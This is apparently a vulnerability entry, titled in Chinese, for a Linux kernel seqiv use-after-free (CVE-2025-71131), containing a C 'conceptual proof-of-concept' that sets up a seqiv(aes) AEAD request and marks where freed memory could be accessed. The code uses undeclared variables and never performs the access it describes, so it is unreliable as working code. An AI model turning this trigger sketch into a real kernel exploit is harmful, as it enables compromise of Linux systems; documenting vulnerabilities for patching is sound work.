Linux内核seqiv模块use-after-free漏洞 (CVE-2025-71131)

// PoC concept for CVE-2025-71131 (Linux kernel seqiv use-after-free) // This is a conceptual proof-of-concept demonstrating the vulnerability #include <linux/crypto.h> #include <linux/scatterlist.h> // Trigger the use-after-free condition in seqiv void trigger_seqiv_uaf(void) { struct crypto_aead *tfm; struct aead_request *req; u8 iv[32]; u8 plaintext[64]; u8 ciphertext[64]; // Initialize crypto transform tfm = crypto_alloc_aead("seqiv(aes)", 0, 0); if (IS_ERR(tfm)) return; // Setup encryption key crypto_aead_setkey(tfm, key, 32); crypto_aead_setauthsize(tfm, 16); // Allocate aead request req = aead_request_alloc(tfm, GFP_KERNEL); if (!req) goto out; // Setup sg tables sg_init_one(&src_sg, plaintext, sizeof(plaintext)); sg_init_one(&dst_sg, ciphertext, sizeof(ciphertext)); // Setup IV memset(iv, 0, sizeof(iv)); // Setup aead request with IV aead_request_set_ad(req, 0); aead_request_set_crypt(req, &src_sg, &dst_sg, sizeof(plaintext), iv); // Trigger async encryption - req may be freed upon completion crypto_aead_encrypt(req); // UAF: Accessing req->iv after crypto_aead_encrypt returns // The req structure may have been freed by async completion // This would cause use-after-free if req->iv is dereferenced here aead_request_free(req); out: crypto_free_aead(tfm); } // Note: Actual exploitation requires specific kernel conditions // and async crypto completion timing